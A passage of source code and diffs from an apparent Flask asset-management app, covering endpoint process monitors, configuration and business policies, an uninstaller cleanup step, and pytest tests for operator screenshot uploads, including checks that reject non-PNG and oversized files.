return condition
def summary(self):
passed = sum(1 for r in self.results if r[0] == PASS)
failed = sum(1 for r in self.results if r[0] == FAIL)
print("\n" + "=" * 60, flush=True)
print(f"SIMULATION SUMMARY: {passed} passed, {failed} failed", flush=True)
print("=" * 60, flush=True)
return failed == 0
def admin_headers(app):
"""Mint a real admin JWT bound to an existing admin user, or a temp one."""
with app.app_context():
user = (
User.query.join(User.roles)
.filter(Role.rolename == "admin")
.first()
)
if user is None:
role = Role.query.filter_by(rolename="admin").first()
if role is None:
role = Role(rolename="admin", description="Administrator")
db.session.add(role)
db.session.flush()
user = User(
username=f"sim_admin_{uuid.uuid4().hex[:8]}",
email=f"sim_{uuid.uuid4().hex[:8]}@test.local",
isactive=True,
)
if hasattr(user, "set_password"):
user.set_password("simpass123!")
user.roles.append(role)
db.session.add(user)
db.session.commit()
token = create_access_token(
identity=str(user.userid),
additional_claims={
"username": user.username,
"roles": [r.rolename for r in user.roles],
},
)
return {"Authorization": f"Bearer {token}"}
def jdata(resp):
body = resp.get_json()
return (body or {}).get("data")
def run():
app = create_app()
headers = admin_headers(app)
sim = Sim()
client = app.test_client()
tag = uuid.uuid4().hex[:8]
pctype_name = f"SimPCType_{tag}"
# --- 1. Monitor catalog lists the shipped four ---------------------------
resp = client.get("/api/endpoints/monitors", headers=headers)
sim.check("GET /monitors returns 200", resp.status_code == 200,
f"status={resp.status_code}")
catalog = jdata(resp) or []
shipped = [m for m in catalog if m.get("source") == "shipped"]
shipped_names = sorted({m["displayname"] for m in shipped})
sim.check("Shipped monitors seeded (eDNC, UDC, MTConnect x2)",
len(shipped) >= 4,
f"shipped={len(shipped)} names={shipped_names}")
# --- 2. Create a local process monitor (msedge.exe) ----------------------
display = f"sim_msedge_{tag}.exe"
resp = client.post("/api/endpoints/monitors", headers=headers, json={
"kind": "process",
"displayname": display,
"processname": display,
"isactive": True,
})
sim.check("POST /monitors (process) returns 201",
resp.status_code == 201, f"status={resp.status_code}")
monitor = jdata(resp) or {}
monitor_id = monitor.get("endpointmonitorid")
if monitor_id:
sim.created["monitor_ids"].append(monitor_id)
sim.check("Created monitor has an id", bool(monitor_id),
f"id={monitor_id}")
# --- 2b. Validation probe: missing name is rejected ----------------------
resp = client.post("/api/endpoints/monitors", headers=headers, json={
"kind": "process", "displayname": "", "processname": "",
})
sim.check("POST /monitors with blank name rejected (400)",
resp.status_code == 400, f"status={resp.status_code}")
# --- 3. Create a PC type to scope to -------------------------------------
resp = client.post("/api/computers/types", headers=headers,
json={"computertype": pctype_name})
sim.check("POST /computers/types returns 2xx",
resp.status_code in (200, 201), f"status={resp.status_code}")
pctype = jdata(resp) or {}
pctype_id = pctype.get("computertypeid")
if pctype_id:
sim.created["computertype_ids"].append(pctype_id)
sim.check("PC type created with id", bool(pctype_id), f"id={pctype_id}")
# --- 4. Enable the feature flag ------------------------------------------
with app.app_context():
flag = Setting.query.filter_by(
key="computers_configpolicies_enabled").first()
if flag is None:
db.session.add(Setting(
key="computers_configpolicies_enabled", value="true"))
sim.created["setting_created"] = True
else:
sim._prev_flag = flag.value
flag.value = "true"
db.session.commit()
sim.check("Feature flag computers_configpolicies_enabled=true", True)
# --- 5. Create a Configuration Policy carrying monitor:<id> ---------------
resp = client.post("/api/computers/policies/configuration", headers=headers,
json={
"name": f"Sim Edge Coverage {tag}",
"description": "sim",
"scopejson": {"type": "pctype", "id": pctype_id},
"actions": [
{"action": f"monitor:{monitor_id}",
"mode": "gate"},
],
})
sim.check("POST /policies/configuration returns 2xx",
resp.status_code in (200, 201), f"status={resp.status_code}")
cpolicy = jdata(resp) or {}
cpolicy_id = cpolicy.get("configurationpolicyid")
if cpolicy_id:
sim.created["configpolicy_ids"].append(cpolicy_id)
sim.check("Configuration Policy created with id", bool(cpolicy_id),
f"id={cpolicy_id}")
# --- 5b. Round-trip: the monitor action persisted ------------------------
resp = client.get(
f"/api/computers/policies/configuration/{cpolicy_id}", headers=headers)
body = jdata(resp) or {}
actions = body.get("actions", [])
sim.check("Config policy round-trips the monitor action",
any(a.get("action") == f"monitor:{monitor_id}" for a in actions),
f"actions={[a.get('action') for a in actions]}")
# --- 6. Wrap it in an active Business Policy ------------------------------
resp = client.post("/api/computers/policies/business", headers=headers,
json={
"name": f"Sim Process Monitor Test {tag}",
"priority": 100,
"isactive": True,
"items": [
{"configurationpolicyid": cpolicy_id,
"sortorder": 0},
],
})
sim.check("POST /policies/business returns 2xx",
resp.status_code in (200, 201), f"status={resp.status_code}")
bpolicy = jdata(resp) or {}
bpolicy_id = bpolicy.get("businesspolicyid")
if bpolicy_id:
sim.created["businesspolicy_ids"].append(bpolicy_id)
sim.check("Business Policy created with id", bool(bpolicy_id),
f"id={bpolicy_id}")
# --- 7. Create a Computer of that PC type --------------------------------
hostname = f"SIMPC{tag.upper()}"
with app.app_context():
from plugins.computers.models import Computer
atype = AssetType.query.filter_by(assettype="computer").first()
if atype is None:
atype = AssetType(assettype="computer")
db.session.add(atype)
db.session.flush()
asset = Asset(assetnumber=hostname, assettypeid=atype.assettypeid,
isactive=True)
db.session.add(asset)
db.session.flush()
comp = Computer(assetid=asset.assetid, hostname=hostname,
computertypeid=pctype_id)
db.session.add(comp)
db.session.commit()
asset_id = asset.assetid
computer_id = comp.computerid
sim.created["asset_ids"].append(asset_id)
sim.created["computer_ids"].append(computer_id)
sim.check("Computer created for the scoped PC type", bool(asset_id),
f"assetid={asset_id}")
# --- 8. The monitor surfaces in the services panel -----------------------
resp = client.get(f"/api/endpoints/asset/{asset_id}/services",
headers=headers)
sim.check("GET /asset/<id>/services returns 200",
resp.status_code == 200, f"status={resp.status_code}")
rows = jdata(resp) or []
edge = next((r for r in rows if r.get("name") == display), None)
sim.check("Policy-attached monitor surfaces in panel", edge is not None,
f"rows={[r.get('name') for r in rows]}")
if edge:
sim.check("Surfaced row is a process", edge.get("kind") == "process",
f"kind={edge.get('kind')}")
sim.check("Surfaced row is Unknown (not yet reported)",
edge.get("statelabel") == "Unknown",
f"statelabel={edge.get('statelabel')}")
action = edge.get("action") or {}
sim.check("Surfaced row offers a Start action targeting the process",
action.get("target") == display
and action.get("targetkind") == "process",
f"action={action}")
# --- 9. Negative: flag off hides the row ---------------------------------
with app.app_context():
flag = Setting.query.filter_by(
key="computers_configpolicies_enabled").first()
flag.value = "false"
db.session.commit()
resp = client.get(f"/api/endpoints/asset/{asset_id}/services",
headers=headers)
rows = jdata(resp) or []
sim.check("Flag off hides the policy monitor from the panel",
not any(r.get("name") == display for r in rows),
f"rows={[r.get('name') for r in rows]}")
with app.app_context():
flag = Setting.query.filter_by(
key="computers_configpolicies_enabled").first()
flag.value = "true"
db.session.commit()
# --- Cleanup -------------------------------------------------------------
cleanup(app, client, headers, sim)
return sim.summary()
def cleanup(app, client, headers, sim):
print("\n--- cleanup ---", flush=True)
for bid in sim.created["businesspolicy_ids"]:
client.delete(f"/api/computers/policies/business/{bid}", headers=headers)
for cid in sim.created["configpolicy_ids"]:
client.delete(f"/api/computers/policies/configuration/{cid}",
headers=headers)
for mid in sim.created["monitor_ids"]:
client.delete(f"/api/endpoints/monitors/{mid}", headers=headers)
with app.app_context():
from plugins.computers.models import Computer, ComputerType
for cid in sim.created["computer_ids"]:
row = db.session.get(Computer, cid)
if row:
db.session.delete(row)
for aid in sim.created["asset_ids"]:
row = db.session.get(Asset, aid)
if row:
db.session.delete(row)
for tid in sim.created["computertype_ids"]:
row = db.session.get(ComputerType, tid)
if row:
db.session.delete(row)
# Restore or remove the feature flag as found.
flag = Setting.query.filter_by(
key="computers_configpolicies_enabled").first()
if flag is not None:
if sim.created["setting_created"]:
db.session.delete(flag)
elif hasattr(sim, "_prev_flag"):
flag.value = sim._prev_flag
db.session.commit()
print("cleanup done", flush=True)
if __name__ == "__main__":
ok = run()
sys.exit(0 if ok else 1)

View File

@@ -114,6 +114,15 @@ Start-Sleep -Seconds 1
Write-Host "[3/6] Removing registry entries ..."
Remove-HklmBothViews -SubKey "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "ShopDbEndpointTray"
Remove-HklmBothViews -SubKey "SOFTWARE\GE\ShopDB"
# Remove the All-Users Start Menu shortcut the site-agent installer created.
$commonPrograms = [Environment]::GetFolderPath([Environment+SpecialFolder]::CommonPrograms)
$shortcutPath = Join-Path $commonPrograms "ShopDB Agent.lnk"
if (Test-Path $shortcutPath) {
try { Remove-Item -Path $shortcutPath -Force -ErrorAction Stop; Write-Host " removed Start Menu shortcut $shortcutPath" }
catch { Write-Warning " could not remove Start Menu shortcut: $($_.Exception.Message)" }
}
# Drop the parent GE key only if we emptied it (some sites nest siblings under
# GE such as SFLD; never tree-delete a key we do not own).
foreach ($view in @([Microsoft.Win32.RegistryView]::Registry64,

View File

@@ -64,6 +64,40 @@ PUBLIC_SETTING_KEYS = {
'site_timezone',
}
# Environment channel label. Sourced from the SHOPDB_ENV_LABEL environment
# variable (set by the edge docker-compose override and the bleeding-edge
# installer, unset on stable/main), NOT from a settings row. It is injected as a
# synthetic public item into the settings list so the frontend picks it up
# through the same read-through it already uses for branding, with no extra
# request. Empty when unset, which is how a stable deployment renders no DEV
# badge. Public and read-only: it carries no secret and cannot be edited via the
# settings API, only by redeploying with a different environment value.
ENV_LABEL_KEY = 'env_label'
def _env_label() -> str:
"""The configured environment channel label (e.g. 'DEV'), or '' when unset."""
return (os.environ.get('SHOPDB_ENV_LABEL') or '').strip()
def _env_label_item() -> dict:
"""Synthetic, serialized settings item carrying the environment label.
Shaped like a real serialized Setting so the frontend read-through treats it
as just another public key. settingid is None because it is not a DB row.
"""
return {
'settingid': None,
'key': ENV_LABEL_KEY,
'value': _env_label(),
'valuetype': 'string',
'category': 'branding',
'description': 'Environment channel label (from SHOPDB_ENV_LABEL); '
'drives the DEV badge in the sidebar. Read-only.',
'createddate': None,
'modifieddate': None,
}
def _plugin_declared_settings() -> dict:
"""Declared settings ({key: entry}) of every loaded plugin, or {}."""
@@ -576,7 +610,19 @@ def list_settings():
# bootstrap keys); an authed principal sees everything (secrets masked).
if get_jwt_identity() is None:
settings = [s for s in settings if _is_public_setting(s)]
return success_response([_serialize_setting(s) for s in settings])
items = [_serialize_setting(s) for s in settings]
# Inject the environment channel label as a synthetic public item so the
# frontend read-through surfaces it alongside branding. It is env-sourced,
# not a DB row, and is always present (empty string when unset) so the
# public-settings contract can rely on the key existing. Drop any DB row that
# somehow shares the key so the env value is authoritative and appears once.
# Skip it when a category filter is active and does not select branding, so a
# scoped query is not polluted.
if not category or category == 'branding':
items = [i for i in items if i.get('key') != ENV_LABEL_KEY]
items.append(_env_label_item())
return success_response(items)
@settings_bp.route('/<key>', methods=['GET'])

View File

@@ -53,7 +53,7 @@ PLUGIN_TABLE_OWNERS: dict[str, Iterable[str]] = {
'configurationpolicies', 'configurationpolicyactions',
'businesspolicies', 'businesspolicyitems'),
'employees': ('directoryemployees',),
'endpoints': ('endpointstates', 'endpointevents', 'endpointcommands', 'endpointapplications'),
'endpoints': ('endpointstates', 'endpointevents', 'endpointcommands', 'endpointapplications', 'endpointmonitors', 'operatorreports'),
'geenforce': ('manifestscopes', 'manifestentries', 'manifestentrypctypes',
'manifestentryhostnames', 'manifestentrymachinenumbers',
'manifestinusechecks', 'manifestinusecheckprocesses',

View File

@@ -51,8 +51,12 @@ EXEMPT_ENDPOINTS = {'knowledgebase.track_click', 'users.update_user',
# docs/proposals/printedparts-plugin.md; justification in
# the plugin README.
'printedparts.kiosk_take',
# Deliberately open kiosk writes, same bar as the parts
# kiosk: they can ONLY move a USB device between
# Deliberately open kiosk writes. NOT the same bar as the
# parts kiosk, and the difference is the point: these are
# additionally behind usb_kiosk_enabled, which the parts
# kiosk has no equivalent of, so a site that never turns
# them on serves 404s where printedparts serves a live
# write. They can ONLY move a USB device between
# checked-out and checked-in, and only when a site has set
# usb_kiosk_enabled (off by default - every one of these is
# a 404 until then). Identity is a scanned badge resolved
@@ -94,7 +98,15 @@ EXEMPT_ENDPOINTS = {'knowledgebase.track_click', 'users.update_user',
# kill switch. Enqueue (WebUI -> operator) IS permission-gated
# on endpoints.command and IS swept. Contract in
# plugins/endpoints/AGENT-CONTRACT.md section 7.
'endpoints.report_command_result'}
'endpoints.report_command_result',
# Agent-facing operator issue report upload. Authenticated by
# the endpoints collector API key (same shape as the exempt
# collector blueprint), not JWT+role: the tray hands the
# screenshot and note to the service, which uploads on the
# collector key it already holds. The human-facing read and
# image-serve routes ARE permission-gated on endpoints.view
# and ARE swept.
'endpoints.upload_operator_report'}
@pytest.fixture(autouse=True)

View File

@@ -96,6 +96,14 @@ PUBLIC_ENDPOINTS = {
'endpoints.download_app_package',
'endpoints.download_app_package_by_app',
'endpoints.download_script_body',
# The endpoint agent fetches its server-resolved monitor watch-list (the
# processes/services site policy attaches to its PC type) on each telemetry
# cycle. Authenticated inside the handler by the endpoints collector API key
# - the same shape as claim_next_command - because a bay has no user session.
# It is a read of already-scoped policy output, not an authority: attaching a
# monitor is gated on the policy editor, audited with the requesting user.
'endpoints.resolved_monitors_for_agent',
}
# Reads that need a LOGIN but no named permission, because the handler decides

View File

@@ -92,9 +92,14 @@ EXPECTED_HEAD_REVISION['warranty'] = 'warranty0002proof'
# endpoints is a NEW post-cutover plugin: its 0001 genuinely creates the
# endpointstates + endpointevents tables the core chain never owned, 0002
# adds the endpointcommands queue plus the MTConnect state columns, 0003
# adds the generic command target/targetkind columns, and 0004 adds the
# endpointapplications SBOM snapshot table.
EXPECTED_HEAD_REVISION['endpoints'] = 'endpoints0005cmdpin'
# adds the generic command target/targetkind columns, 0004 adds the
# endpointapplications SBOM snapshot table, 0005 pins a command sha256, 0006
# seeds the reusable monitor catalog, 0007 ships the shopfloor monitor policy
# bundle, 0008 adds the warn-only reconciler drift cache column, and 0009 adds
# the operatorreports table for tray issue reports.
# 0010 renames the shipped business policy off the originating site's
# designator on installs that already stamped 0007 (ADR-015).
EXPECTED_HEAD_REVISION['endpoints'] = 'endpoints0010renamepolicy'
# Plugins built after the cutover: their 0001 baseline really creates tables the
# core chain never owned.

View File

@@ -0,0 +1,285 @@
"""Operator issue report upload, retention purge, and hardened serve.
The tray captures a screenshot and a free-text note; the agent posts them to
POST /api/endpoints/operatorreports on the collector key. The bytes land on
disk under the operator-reports uploads dir and the row holds metadata. The
human-facing panel and image-serve routes are JWT + endpoints.view gated, and
the serve route carries the inert-upload headers. A retention sweep purges rows
and files older than the configured window.
"""
import io
import os
from datetime import timedelta
from shopdb.core.models import Asset, AssetType, Setting
UPLOAD_URL = '/api/endpoints/operatorreports'
PANEL_URL = '/api/endpoints/panel/{}/operatorreports'
IMAGE_URL = '/api/endpoints/operatorreports/{}/image'
COLLECTOR_KEY = 'testcollectorkey'
def _collector_headers(app):
app.config['COLLECTOR_API_KEY'] = COLLECTOR_KEY
return {'X-API-Key': COLLECTOR_KEY}
def _computer(db, hostname):
"""Create a computer Asset + Computer; return the asset."""
from plugins.computers.models import Computer, ComputerType
atype = AssetType.query.filter_by(assettype='computer').first()
if not atype:
atype = AssetType(assettype='computer')
db.session.add(atype)
db.session.flush()
ctype = ComputerType.query.filter_by(computertype='CMM PC').first()
if not ctype:
ctype = ComputerType(computertype='CMM PC')
db.session.add(ctype)
db.session.flush()
asset = Asset(assetnumber=hostname, assettypeid=atype.assettypeid,
isactive=True)
db.session.add(asset)
db.session.flush()
comp = Computer(assetid=asset.assetid, hostname=hostname,
computertypeid=ctype.computertypeid)
db.session.add(comp)
db.session.commit()
return asset
def _png_bytes():
"""A tiny valid 1x1 PNG."""
import base64
return base64.b64decode(
'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk'
'YPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==')
def test_upload_creates_report_and_stores_screenshot(client, db, app):
"""A collector-key upload with a screenshot creates a row and a file."""
from plugins.endpoints.models import OperatorReport
asset = _computer(db, 'OPREPORT1')
data = {
'hostname': 'OPREPORT1',
'reason': 'Other (free text)',
'details': 'the CMM app will not start',
'screenshot': (io.BytesIO(_png_bytes()), 'shot.png'),
}
response = client.post(UPLOAD_URL, data=data,
content_type='multipart/form-data',
headers=_collector_headers(app))
assert response.status_code == 201
body = response.get_json()['data']
assert body['assetid'] == asset.assetid
assert body['details'] == 'the CMM app will not start'
assert body['hasimage'] is True
report = OperatorReport.query.filter_by(assetid=asset.assetid).first()
assert report is not None
assert report.imagefilename
stored = os.path.join(app.instance_path, 'operatorreports',
report.imagefilename)
assert os.path.isfile(stored)
def test_upload_without_screenshot_is_allowed(client, db, app):
"""A note-only report (no screenshot) is valid; hasimage is false."""
_computer(db, 'OPREPORT2')
response = client.post(
UPLOAD_URL,
data={'hostname': 'OPREPORT2', 'details': 'noisy fan'},
content_type='multipart/form-data',
headers=_collector_headers(app))
assert response.status_code == 201
assert response.get_json()['data']['hasimage'] is False
def test_upload_unknown_hostname_is_validation_error(client, db, app):
"""A hostname with no computer row is rejected, not silently stored."""
response = client.post(
UPLOAD_URL,
data={'hostname': 'NOSUCHBOX', 'details': 'x'},
content_type='multipart/form-data',
headers=_collector_headers(app))
assert response.status_code == 400
def test_upload_requires_collector_auth(client, db, app):
"""Without the collector key the upload refuses (no JWT fallback)."""
_computer(db, 'OPREPORT3')
app.config['COLLECTOR_API_KEY'] = COLLECTOR_KEY
response = client.post(
UPLOAD_URL,
data={'hostname': 'OPREPORT3', 'details': 'x'},
content_type='multipart/form-data')
assert response.status_code in (401, 403)
def test_panel_lists_reports_newest_first(client, db, app, auth_headers):
"""The panel route returns this asset's reports, newest first."""
asset = _computer(db, 'OPREPORT4')
for note in ('first', 'second'):
client.post(UPLOAD_URL,
data={'hostname': 'OPREPORT4', 'details': note},
content_type='multipart/form-data',
headers=_collector_headers(app))
response = client.get(PANEL_URL.format(asset.assetid), headers=auth_headers)
assert response.status_code == 200
reports = response.get_json()['data']['reports']
assert [r['details'] for r in reports] == ['second', 'first']
def test_served_image_is_hardened(client, db, app, auth_headers):
"""The screenshot serve route carries the inert-upload headers."""
from shopdb.utils.uploads import UPLOAD_CSP
asset = _computer(db, 'OPREPORT5')
client.post(UPLOAD_URL,
data={'hostname': 'OPREPORT5', 'details': 'x',
'screenshot': (io.BytesIO(_png_bytes()), 'shot.png')},
content_type='multipart/form-data',
headers=_collector_headers(app))
from plugins.endpoints.models import OperatorReport
report = OperatorReport.query.filter_by(assetid=asset.assetid).first()
response = client.get(IMAGE_URL.format(report.operatorreportid),
headers=auth_headers)
assert response.status_code == 200
assert response.headers.get('Content-Security-Policy') == UPLOAD_CSP
assert response.headers.get('X-Content-Type-Options') == 'nosniff'
def test_image_serve_requires_jwt(client, db, app):
"""The screenshot serve route is not reachable without a user JWT."""
asset = _computer(db, 'OPREPORT6')
client.post(UPLOAD_URL,
data={'hostname': 'OPREPORT6', 'details': 'x',
'screenshot': (io.BytesIO(_png_bytes()), 'shot.png')},
content_type='multipart/form-data',
headers=_collector_headers(app))
from plugins.endpoints.models import OperatorReport
report = OperatorReport.query.filter_by(assetid=asset.assetid).first()
response = client.get(IMAGE_URL.format(report.operatorreportid))
assert response.status_code in (401, 403)
def test_retention_purge_removes_expired_reports_and_files(client, db, app):
"""A report past the retention window is purged, file and all, on upload."""
from plugins.endpoints.models import OperatorReport
from plugins.endpoints.api.routes import (
OPERATOR_REPORT_RETENTION_SETTING,
)
db.session.add(Setting(key=OPERATOR_REPORT_RETENTION_SETTING, value='7'))
db.session.commit()
asset = _computer(db, 'OPREPORT7')
client.post(UPLOAD_URL,
data={'hostname': 'OPREPORT7', 'details': 'old',
'screenshot': (io.BytesIO(_png_bytes()), 'shot.png')},
content_type='multipart/form-data',
headers=_collector_headers(app))
old = OperatorReport.query.filter_by(assetid=asset.assetid).first()
old_file = os.path.join(app.instance_path, 'operatorreports',
old.imagefilename)
assert os.path.isfile(old_file)
# Backdate it past the window, then upload a fresh report to trigger the
# opportunistic sweep.
old.createdat = old.createdat - timedelta(days=8)
db.session.commit()
client.post(UPLOAD_URL,
data={'hostname': 'OPREPORT7', 'details': 'new'},
content_type='multipart/form-data',
headers=_collector_headers(app))
assert db.session.get(OperatorReport, old.operatorreportid) is None
assert not os.path.isfile(old_file)
remaining = OperatorReport.query.filter_by(assetid=asset.assetid).all()
assert [r.details for r in remaining] == ['new']
def test_retention_disabled_keeps_old_reports(client, db, app):
"""A retention of 0 disables the sweep; old rows survive."""
from plugins.endpoints.models import OperatorReport
from plugins.endpoints.api.routes import (
OPERATOR_REPORT_RETENTION_SETTING,
)
db.session.add(Setting(key=OPERATOR_REPORT_RETENTION_SETTING, value='0'))
db.session.commit()
asset = _computer(db, 'OPREPORT8')
client.post(UPLOAD_URL,
data={'hostname': 'OPREPORT8', 'details': 'old'},
content_type='multipart/form-data',
headers=_collector_headers(app))
old = OperatorReport.query.filter_by(assetid=asset.assetid).first()
old.createdat = old.createdat - timedelta(days=365)
db.session.commit()
client.post(UPLOAD_URL,
data={'hostname': 'OPREPORT8', 'details': 'new'},
content_type='multipart/form-data',
headers=_collector_headers(app))
assert db.session.get(OperatorReport, old.operatorreportid) is not None
# --- what the route refuses to store -----------------------------------------
#
# The stored file is served back as image/png, and the size cap is the only
# thing bounding what an agent key can push into the instance directory. Both
# guards used to be nominal: the cap was checked AFTER upload.read() had already
# pulled the whole body into memory, and the extension was forced to .png
# whatever the bytes were.
def test_upload_refuses_bytes_that_are_not_a_png(client, db, app):
from plugins.endpoints.models import OperatorReport
_computer(db, 'OPREPORT-NOTPNG')
data = {
'hostname': 'OPREPORT-NOTPNG',
'details': 'not really a screenshot',
'screenshot': (io.BytesIO(b'MZ\x90\x00 this is a PE, not an image'),
'shot.png'),
}
response = client.post(UPLOAD_URL, data=data,
content_type='multipart/form-data',
headers=_collector_headers(app))
assert response.status_code == 400
# Nothing was written: not the row, and not a file under the uploads dir.
assert OperatorReport.query.filter_by(
reportedhostname='OPREPORT-NOTPNG').first() is None
def test_upload_refuses_an_image_over_the_cap(client, db, app):
from plugins.endpoints.api.routes import OPERATOR_REPORT_MAX_IMAGE_BYTES
from plugins.endpoints.models import OperatorReport
_computer(db, 'OPREPORT-HUGE')
# A real PNG header so the size check is what rejects it, not the signature.
oversized = _png_bytes() + b'\x00' * (OPERATOR_REPORT_MAX_IMAGE_BYTES + 1)
data = {
'hostname': 'OPREPORT-HUGE',
'details': 'oversized',
'screenshot': (io.BytesIO(oversized), 'shot.png'),
}
response = client.post(UPLOAD_URL, data=data,
content_type='multipart/form-data',
headers=_collector_headers(app))
assert response.status_code == 400
assert 'limit' in response.get_json()['data']['error']['message']
assert OperatorReport.query.filter_by(
reportedhostname='OPREPORT-HUGE').first() is None

View File

@@ -69,11 +69,12 @@ def test_endpoints_asset_panels_are_computer_scoped():
"""Every asset panel targets computer assets only, with an endpoint."""
plugin = EndpointsPlugin()
panels = plugin.get_asset_panels()
assert len(panels) == 6
assert len(panels) == 7
for panel in panels:
assert panel['assettypes'] == ['computer']
assert panel['endpoint'].startswith('/api/endpoints/asset/{assetid}')
assert panel['render'] in ('keyvalue', 'list', 'table')
assert panel['endpoint'].startswith('/api/endpoints/')
assert '{assetid}' in panel['endpoint']
assert panel['render'] in ('keyvalue', 'list', 'table', 'operatorreports')
def test_services_and_processes_are_split_into_two_filtered_cards():
@@ -234,7 +235,6 @@ def test_new_hardware_telemetry_keys_are_logged_not_silently_known():
assert 'applications' in KNOWN_PAYLOAD_KEYS
def test_telemetrymeta_route_is_registered_for_freshness_gating():
"""The WebUI gates panel refreshes on lastreportedat advancing, so the
lightweight freshness probe must be exposed on the plugin blueprint."""
@@ -249,3 +249,26 @@ def test_telemetrymeta_route_is_registered_for_freshness_gating():
url_prefix='/api/endpoints')
rules = {rule.rule for rule in application.url_map.iter_rules()}
assert any(rule.endswith('/asset/<int:asset_id>/telemetrymeta') for rule in rules)
def test_fleet_list_route_resolves_without_trailing_slash():
"""The Fleet list route must match the slash-less URL the SPA calls.
The list is the only route on the bare blueprint prefix. If it demands a
trailing slash, Flask 308-redirects /api/endpoints to /api/endpoints/, and
behind the /shopdb reverse proxy that redirect drops the path prefix and
the list call fails while the detail routes (which carry a path suffix)
keep working. strict_slashes=False makes both forms resolve directly.
"""
from flask import Flask
application = Flask(__name__)
application.register_blueprint(
EndpointsPlugin().get_blueprint(), url_prefix='/api/endpoints')
adapter = application.url_map.bind('localhost')
endpoint, _ = adapter.match('/api/endpoints', method='GET')
assert endpoint.endswith('list_endpoints')
endpoint_slash, _ = adapter.match('/api/endpoints/', method='GET')
assert endpoint_slash.endswith('list_endpoints')

View File

@@ -0,0 +1,282 @@
"""Policy-attached monitors surface in the Tracked Services/Processes panel.
A monitor attached to a PC type through an active Business Policy (over a scoped
Configuration Policy) must appear in GET /api/endpoints/asset/<id>/services even
before the agent has reported that process/service, so the PC Detail Monitors
tab shows the intended coverage as an Unknown row.
"""
from shopdb.core.models import Asset, AssetType, Setting
SERVICES_URL = '/api/endpoints/asset/{}/services'
def _computer(db, hostname, computertype):
"""Create a computer Asset + Computer of the given PC type; return the asset."""
from plugins.computers.models import Computer, ComputerType
atype = AssetType.query.filter_by(assettype='computer').first()
if not atype:
atype = AssetType(assettype='computer')
db.session.add(atype)
db.session.flush()
ctype = ComputerType.query.filter_by(computertype=computertype).first()
if not ctype:
ctype = ComputerType(computertype=computertype)
db.session.add(ctype)
db.session.flush()
asset = Asset(assetnumber=hostname, assettypeid=atype.assettypeid,
isactive=True)
db.session.add(asset)
db.session.flush()
comp = Computer(assetid=asset.assetid, hostname=hostname,
computertypeid=ctype.computertypeid)
db.session.add(comp)
db.session.flush()
return asset, ctype
def _attach_monitor_to_pctype(db, monitor, computertypeid):
"""Create a Configuration Policy scoped to the PC type carrying the monitor,
wrapped in an active Business Policy, with the feature flag enabled."""
from plugins.computers.models import (
ConfigurationPolicy, ConfigurationPolicyAction,
BusinessPolicy, BusinessPolicyItem,
)
db.session.add(Setting(key='computers_configpolicies_enabled', value='true'))
policy = ConfigurationPolicy(
name='Edge coverage',
scopejson={'type': 'pctype', 'id': computertypeid},
)
db.session.add(policy)
db.session.flush()
db.session.add(ConfigurationPolicyAction(
configurationpolicyid=policy.configurationpolicyid,
action=f'monitor:{monitor.endpointmonitorid}',
mode='gate',
))
business = BusinessPolicy(name='Test Policy', priority=100)
db.session.add(business)
db.session.flush()
db.session.add(BusinessPolicyItem(
businesspolicyid=business.businesspolicyid,
configurationpolicyid=policy.configurationpolicyid,
sortorder=0,
))
db.session.commit()
def test_policy_attached_process_monitor_surfaces_as_unknown_row(
client, db, auth_headers):
"""A msedge.exe process monitor attached to a PC type by policy appears in
the services panel as an Unknown process row, even with no agent report."""
from plugins.endpoints.models import EndpointMonitor
asset, ctype = _computer(db, 'F18BCDB4', 'CMM PC')
monitor = EndpointMonitor(
kind='process', displayname='msedge.exe', processname='msedge.exe',
source='local', isactive=True,
)
db.session.add(monitor)
db.session.flush()
_attach_monitor_to_pctype(db, monitor, ctype.computertypeid)
response = client.get(SERVICES_URL.format(asset.assetid), headers=auth_headers)
assert response.status_code == 200
rows = response.get_json()['data']
edge = next((r for r in rows if r['name'] == 'msedge.exe'), None)
assert edge is not None, 'policy-attached monitor missing from panel'
assert edge['kind'] == 'process'
assert edge['statelabel'] == 'Unknown'
assert edge['statecolor'] == 'gray'
# Admin holds endpoints.command, so the row offers a Start control whose
# wire target is the OS process name.
assert edge['action']['target'] == 'msedge.exe'
assert edge['action']['targetkind'] == 'process'
assert edge['action']['running'] is False
def test_flag_off_hides_policy_monitor_from_panel(client, db, auth_headers):
"""With the feature flag off the panel returns only reported rows (none)."""
from plugins.endpoints.models import EndpointMonitor
asset, ctype = _computer(db, 'F18BCDB5', 'CMM PC')
monitor = EndpointMonitor(
kind='process', displayname='msedge.exe', processname='msedge.exe',
source='local', isactive=True,
)
db.session.add(monitor)
db.session.flush()
_attach_monitor_to_pctype(db, monitor, ctype.computertypeid)
# Flip the flag off after the helper turned it on.
flag = Setting.query.filter_by(
key='computers_configpolicies_enabled').first()
flag.value = 'false'
db.session.commit()
response = client.get(SERVICES_URL.format(asset.assetid), headers=auth_headers)
assert response.status_code == 200
rows = response.get_json()['data']
assert not any(r['name'] == 'msedge.exe' for r in rows)
RESOLVED_URL = '/api/endpoints/monitors/resolved'
COLLECTOR_KEY = 'testcollectorkey'
def _collector_headers(app):
"""Authorize the agent-facing route on the shared collector key."""
app.config['COLLECTOR_API_KEY'] = COLLECTOR_KEY
return {'X-API-Key': COLLECTOR_KEY}
def test_resolved_monitors_returns_policy_process_for_agent(client, db, app):
"""The agent watch-list route returns a policy-attached process monitor,
shaped as processes[]/services[] of {name, app}, keyed by hostname."""
from plugins.endpoints.models import EndpointMonitor
asset, ctype = _computer(db, 'AGENTPC1', 'CMM PC')
monitor = EndpointMonitor(
kind='process', displayname='Edge', processname='msedge.exe',
source='local', isactive=True,
)
db.session.add(monitor)
db.session.flush()
_attach_monitor_to_pctype(db, monitor, ctype.computertypeid)
response = client.get(RESOLVED_URL, query_string={'hostname': 'AGENTPC1'},
headers=_collector_headers(app))
assert response.status_code == 200
data = response.get_json()['data']
assert {'name': 'msedge.exe', 'app': 'Edge'} in data['processes']
assert data['services'] == []
def test_resolved_monitors_carries_launchpath_for_process(client, db, app):
"""A process monitor with a launch path set surfaces launchpath on the wire
so the agent can honor a site-provisioned Start path (after validation)."""
from plugins.endpoints.models import EndpointMonitor
asset, ctype = _computer(db, 'AGENTPC3', 'CMM PC')
monitor = EndpointMonitor(
kind='process', displayname='Edge', processname='msedge.exe',
launchpath=r'C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe',
source='local', isactive=True,
)
db.session.add(monitor)
db.session.flush()
